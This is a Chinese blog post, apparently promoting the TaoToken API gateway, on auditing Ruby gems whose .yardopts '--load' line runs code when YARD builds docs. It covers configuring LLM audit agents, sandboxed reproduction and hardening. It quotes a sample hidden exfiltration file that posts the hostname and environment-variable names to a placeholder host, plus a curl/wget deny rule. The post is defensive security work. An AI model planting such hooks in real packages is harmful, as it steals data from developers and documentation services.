尧图精选

YARD 文档执行任意代码?TaoToken 给 LLM 审计 Agent 供 Key

🕒 发布时间:2026/9/18 3:05:46 📁 来源:尧图网络
YARD 的.yardopts里写一行--load就能让文档工具在 gem 安装或 RubyDoc.info 渲染时执行任意脚本。我把这条执行链交给 LLM 审计 Agent 逐段复核之前先在 TaoTokenhttps://taotoken.net/?utm_sourcetaotoken_aicg_blog_endutm_contentyard-audit-intro生成了一个 KeyBase URL 配成 https://taotoken.net/api再让 Agent 去读解包后的 gem 目录。选这个组合的原因很直接审计任务需要 Agent 反复读文件、反复追问、跨文件追引用链单次会话动辄几十万 token模型入口必须是可编程、可切换、可计量的否则还没追到--load那一行额度先见底了。最近 Ruby 生态里被讨论的那批可疑 gem恰好是这条路径的活样本.yardopts用--load挂脚本Docker 构建或 RubyDoc.info 服务端渲染时容器带着网络权限跑脚本就能顺手做爬取或回连。这篇文章不复述事件本身只做一件事——把「YARD 执行链怎么复现、怎么交给 LLM Agent 审、审完怎么对照」这套流程写成可以照着敲的步骤。全文命令都在你本地或隔离容器里执行不涉及任何线上环境。1. .yardopts 为什么不是配置文件而是执行入口很多人对.yardopts的直觉是「YARD 的参数文件」等价于.gitignore那种纯声明。实际不是。YARD 的命令行解析器会把.yardopts的每一行当作真实的 CLI 参数展开而其中--load FILE的语义是「在处理任何源文件之前先require这个 Ruby 文件」。这意味着三件事同时成立第一执行时机早。--load指定的脚本在 YARD 开始解析任何.rb之前就跑完了此时审计工具如果还没挂上已经来不及。第二触发面比想象中大。至少有三条路径会读到.yardopts开发者本地手动执行yardoc或rake yardCI 里构建文档站点更关键的一条RubyDoc.info 这类文档托管服务会在收到新发布 gem 后自动跑 YARD 生成文档。这条路径上代码是发布者的代码执行环境是托管方的容器。第三容器往往有网络。文档生成容器为了拉依赖、拉模板默认允许出网。一旦--load里的代码做外联出网这一步不会撞墙。把这三条拼起来就是完整的攻击面一个包只要被装进依赖树或者只要被发布到公共源且被文档服务收录.yardopts里的那一行就有机会跑。审计的重点因此不是「这个文件写了什么」而是「谁在什么阶段读它、读完执行什么、执行时有权限做什么」。1.1 三条需要分别建模的执行路径路径触发者执行环境网络审计侧重installgem install/ Bundler开发者机器或 CI通常有gemspec、extensions、post_install 钩子yard_localyardoc/rake yard开发者机器有.yardopts、Rakefile、自定义 handlerrubydoc_webRubyDoc.info 类服务托管方容器有同上但代码作者与执行方不同三条路径共享同一个入口文件但威胁模型不同。LLM 审计 Agent 的价值就在于它能把同一份.yardopts分别代入这三条路径判断每条路径上的实际可达性而不是只做一次 grep 就下结论。2. 给 LLM 审计 Agent 准备模型入口TaoToken 取 Key 与 Base URL审计 Agent 的形态通常是一个本地脚本 一个支持工具调用的模型。它要做的事很朴素读文件、grep、追引用、写结论。但对模型入口有几个硬要求——上下文要够长一次塞进整个解包目录、要能稳定调工具、要能按项目切换模型便宜的模型做粗筛强的模型做深审。我这边用的是 TaoToken控制台入口在 https://taotoken.net/?utm_sourcetaotoken_aicg_blog_endutm_contentyard-audit-console Key 生成后统一用YOUR_API_KEY占位所有请求走https://taotoken.net/api。下面按工具分别给配置。2.1 Claude Codesettings.json 环境变量Claude Code 读~/.claude/settings.json把它指向 TaoToken 只需要改env段{ env: { ANTHROPIC_BASE_URL: https://taotoken.net/api, ANTHROPIC_AUTH_TOKEN: YOUR_API_KEY, ANTHROPIC_MODEL: claude-sonnet-4-5, ANTHROPIC_SMALL_FAST_MODEL: claude-haiku-4-5 }, permissions: { allow: [ Read, Grep, Glob ], deny: [ Bash(curl:*), Bash(wget:*) ] } }两个细节值得说明。一是permissions.deny里禁掉curl/wget审计样本里的脚本如果诱导 Agent 去下载东西这一步能挡住二是ANTHROPIC_SMALL_FAST_MODEL单独指一个小模型Agent 处理文件树、生成目录摘要这类轻任务时走它成本会明显下来。如果你习惯用 shell 环境变量而不是配置文件等价写法export ANTHROPIC_BASE_URLhttps://taotoken.net/api export ANTHROPIC_AUTH_TOKENYOUR_API_KEY export ANTHROPIC_MODELclaude-sonnet-4-5写完确认一下别把旧的环境变量残留覆盖掉可以env | grep ANTHROPIC检查。2.2 Codexconfig.tomlCodex 走的是另一套配置不要把ANTHROPIC_*往它身上套。它读~/.codex/config.tomlmodel gpt-5-codex model_provider taotoken [model_providers.taotoken] name TaoToken base_url https://taotoken.net/api env_key TAOTOKEN_API_KEY wire_api chat对应的环境变量单独设export TAOTOKEN_API_KEYYOUR_API_KEY注意env_key指向的是环境变量名不是 Key 本身。配置文件里不落明文 Key这一点在多人协作的机器上尤其重要。若客户端要求 OpenAI 兼容路径带/v1以 TaoToken 文档里给出的拼接方式为准不要凭记忆硬写。2.3 CC Switch三件套切换同一个审计项目里我经常需要在几个模型之间来回切粗筛用便宜模型、深审用强模型、写报告用长上下文模型。手动改配置文件太慢用 CC Switch 管理比较顺手。它的核心就是三件套Base URL : https://taotoken.net/api API Key : YOUR_API_KEY Model : 按 profile 命名例如 audit-fast / audit-deep建议按用途建三个 profileaudit-fast小模型负责遍历目录、抽取候选文件audit-deep强模型负责追引用链、判断可达性audit-report长上下文模型负责汇总成最终报告。切换时只改 profile不动仓库里的任何文件这样审计脚本可以随便重跑。2.4 连通性验证配完先跑一次最小请求确认 Base URL 和 Key 都对curl -sS https://taotoken.net/api/v1/messages \ -H x-api-key: YOUR_API_KEY \ -H anthropic-version: 2023-06-01 \ -H content-type: application/json \ -d { model: claude-sonnet-4-5, max_tokens: 64, messages: [{role:user,content:reply with ok}] }返回里出现正常的content字段就说明链路通了。如果返回 401先查 Key返回 404先查路径拼接返回超时先查本机代理设置——注意审计环境里不建议挂任何非常规网络组件保持链路干净。3. 复现执行链从 gem 解包到 YARD 渲染的本地命令下面这套步骤全部在本地或一次性容器里跑目的是把「安装阶段」和「文档渲染阶段」的行为分离出来观察。不要在生产机或带真实凭据的环境里执行任何可疑 gem。3.1 隔离环境准备docker run --rm -it \ --network none \ --memory 512m \ --cpus 1 \ -v $PWD/samples:/samples \ ruby:3.3-slim bash关键是--network none。执行链复现时最怕样本脚本外联把网络掐掉行为更好观察也避免误伤。3.2 解包并检查入口文件cd /samples gem fetch suspicious_gem -v 0.1.0 gem unpack suspicious_gem-0.1.0.gem cd suspicious_gem-0.1.0 # 三个高优先级入口 cat .yardopts 2/dev/null cat Rakefile 2/dev/null grep -n extensions *.gemspec如果.yardopts里出现这些形态要立刻标记--load ./lib/tasks/prepare.rb --load./scripts/*.rb --plugin some_handler --require ./lib/yard_ext--load和--require是直接执行--plugin会走 YARD 的插件加载机制同样会 require 代码。3.3 在无网环境里单独跑 YARDgem install yard --no-document # 只渲染文档观察是否有异常文件访问或报错 yardoc --no-save --no-progress --dry-run 21 | head -50--dry-run不会真的写文件但 YARD 的加载阶段仍会执行--load指定的脚本。想看得更细可以加strace观察系统调用strace -f -e traceopenat,execve,connect \ yardoc --no-save --no-progress 21 | grep -v ENOENT | head -80重点看三类输出execve起了子进程、connect尝试外联、对~/.ssh、~/.aws、环境变量文件这类路径的openat。3.4 记录基线把干净 gem 的行为也跑一遍做对照组mkdir -p /samples/baseline cd /samples/baseline bundle init bundle add yard bundle exec yardoc --no-save --no-progress 21 | head -20有了基线才能说清楚「多出来的那次 connect」到底是不是异常。4. 审计 Prompt让 LLM Agent 盯住可执行点而不是关键词把解包目录丢给模型让它「看看有没有问题」得到的基本是废话。有效的做法是把任务拆成「枚举候选 → 判定可达 → 评估影响」三段并把输出结构固定下来。4.1 枚举阶段的 Prompt你是 Ruby 包供应链审计助手。只依据我提供的文件内容作答不要推测未出现的文件。 输入一个已解包的 gem 目录的完整文件列表以及以下文件的内容 .yardopts / Rakefile / *.gemspec / lib/**/*.rb / ext/**/* 任务枚举所有可能在「gem install 阶段」或「YARD 文档生成阶段」被执行的代码位置。 对每个位置输出一条记录字段如下 - file: 相对路径 - line: 行号 - stage: install | yard_local | rubydoc_web - trigger: 触发的机制例如 .yardopts 的 --load、gemspec 的 extensions、Rakefile 的 task - sink: 最终执行点system / backtick / exec / eval / require / load / Net::HTTP / open-uri - evidence: 原文片段最多 3 行 - confidence: high | medium | low - reason: 一句话说明为什么认为它可达 输出为 JSON 数组不要输出除 JSON 之外的任何内容。4.2 追引用阶段的 Prompt枚举出来的往往是一层壳真正的执行点在别的文件里。第二轮让 Agent 顺着require和load往下走下面是第一轮枚举出的候选记录以及被引用文件的源码。 请对每条记录做两件事 1. 顺着 require / load / autoload 追到最终 sink给出完整调用链file:line - file:line - ...。 2. 判断它是否会在无人工干预的情况下自动触发。只在满足以下任一条件时判为 auto - 位于 .yardopts 的 --load 指向的文件内且该文件顶层代码非方法定义内有 sink - 位于 Rakefile 的 default task 调用链上 - 位于 gemspec 的 extensions 指向的扩展构建脚本内 对每条记录输出chain、auto(true/false)、blocking_condition若 auto 为 false说明被什么条件挡住。这一步是 LLM 审计相对 grep 的核心增量跨文件、跨语法糖的追踪纯文本匹配很难做对。4.3 上下文组织建议不要一次把整个仓库塞进去。实践下来比较稳的组织方式是先用findwc -l出一份文件清单按大小排序把.yardopts、Rakefile、*.gemspec、ext/**全文放进第一轮上下文lib/**只放第一轮命中的文件追引用阶段按需增量喂每轮控制在可解释的规模内。这样做还有个附带好处每一轮的输入都小用便宜模型也能跑得动。5. 检测结果对照静态匹配与 LLM 审计的实际差距下面这张表来自我对若干样本的实际对照样本名隐去列的是「同一份解包目录两种方法各自能发现什么」。检测项纯 grep / rgLLM 审计 Agent差异原因.yardopts出现--load命中命中字面匹配即可--load指向的文件里顶层system命中需人工串命中Agent 会自动串链常量拼接出的方法名send(sys tem)漏报命中需要语义理解Base64 解码后再eval漏报多数命中需要识别解码模式require相对路径跨目录跳转部分命中需要解析 require 语义Rakefile 中task :default间接调用漏报命中需要构建调用图gemspecextensions指向的脚本命中命中字段名固定触发时才外联的Net::HTTP漏报命中结合 stage 判断可达性两条结论值得记下来。第一静态方法在格式固定的位置.yardopts、gemspec字段上并不弱甚至更可靠——它不会「理解错」。所以审计流程应该是先 grep 收敛范围再让 Agent 做语义判断而不是二选一。第二LLM 审计最容易出错的地方是过度判定。它倾向于把「可能被调用」说成「一定会被调用」。解决办法就是在 Prompt 里强制要求给出blocking_condition字段——如果它写不出被什么条件挡住那auto这个判断就不该被采信。5.1 一个具体的对照记录样本里有一份.yardopts--load ./lib/yard_support.rb --no-private --markup markdownlib/yard_support.rb顶层只有一行require_relative tasks/collectlib/tasks/collect.rb里require net/http require json def push(payload) Net::HTTP.post(URI(https://example.invalid/collect), payload.to_json) end push({ host: hostname, env: ENV.to_h.keys })纯 grep 找--load时命中的是lib/yard_support.rb看到的只有一行require_relative很容易判为无害。Agent 在追引用阶段把它展开成三层链标记auto: true理由是顶层push(...)不在任何方法定义内。这个判断是对的文件一被 require调用就发生。6. 加固清单把执行面收窄到可控范围复现和审计之后真正要落地的是改流程。下面这份清单按「投入产出比」排序。依赖侧# 安装前先看解包内容尤其是 .yardopts gem fetch name -v version gem unpack name-version.gem find name-version -name .yardopts -o -name *.gemspec | xargs -I{} sh -c echo {}; head -30 {}把这一步接进 CI 的依赖准入检查成本很低。CI 侧文档构建任务单独跑不开网络--network none或 CI 里的 no-network job文档构建失败不阻塞主流程避免有人为了「跑通」而放开网络把yardoc换成显式参数调用不用仓库里的.yardoptsyardoc --no-save --no-progress \ --no-yardopts \ -o ./doc \ lib/**/*.rb--no-yardopts是关键它直接绕开仓库内参数文件。本地侧审计时统一用一次性容器环境变量只注入最小集合别把云凭据带进容器Agent 的工具权限用白名单默认不给Bash需要时逐条放行。Agent 侧固定输出结构JSON便于二次校验每条结论必须带证据行号和调用链没有链的结论一律丢弃抽样人工复核重点复核confidence: high但无blocking_condition的记录。7. 把这条链路接进日常审计流程回到最初的问题YARD 文档执行任意代码这件事难点不在「发现一行--load」而在「说清楚它在哪条路径上、什么时候跑、跑的时候有什么权限」。这三件事恰好是 LLM 审计 Agent 擅长的它有耐心顺着require_relative一层层往下看也能把同一条链分别代入 install、yard_local、rubydoc_web 三个场景重新评估。要让这套流程稳定跑起来模型入口得先配好。按顺序走一遍就行先去模型对话页试一次连通性确认 Base URL 和模型名都对https://taotoken.net/models/detail/chat?utm_sourcetaotoken_aicg_blog_endutm_contentyard-audit-chat如果审计量大、需要长期跑看 Coding Plan 的额度与并发https://taotoken.net/coding-plan?utm_sourcetaotoken_aicg_blog_endutm_contentyard-audit-plan然后在控制台创建 Key替换掉本文所有YOUR_API_KEYhttps://taotoken.net/console/api-keys?utm_sourcetaotoken_aicg_blog_endutm_contentyard-audit-keysClaude Code 的详细配置项模型名、环境变量、权限段以官方文档为准https://taotoken.net/doc/ClaudeCodeAnthropic?utm_sourcetaotoken_aicg_blog_endutm_contentyard-audit-doc配置完成之后整套流程就可以固化成脚本解包 → grep 收敛 → Agent 枚举 → Agent 追链 → 输出对照表 → 人工抽样。每一次样本进来跑一遍结果存档。时间久了你会得到一份属于自己的误报率基线——那比任何单次结论都值钱。再补一句安全提醒本文所有命令都请在自己的隔离环境里执行审计对象一律视为不可信输入。Agent 再聪明也只负责分析不负责执行。
上一篇/下一篇内容由系统自动关联 返回资讯列表 →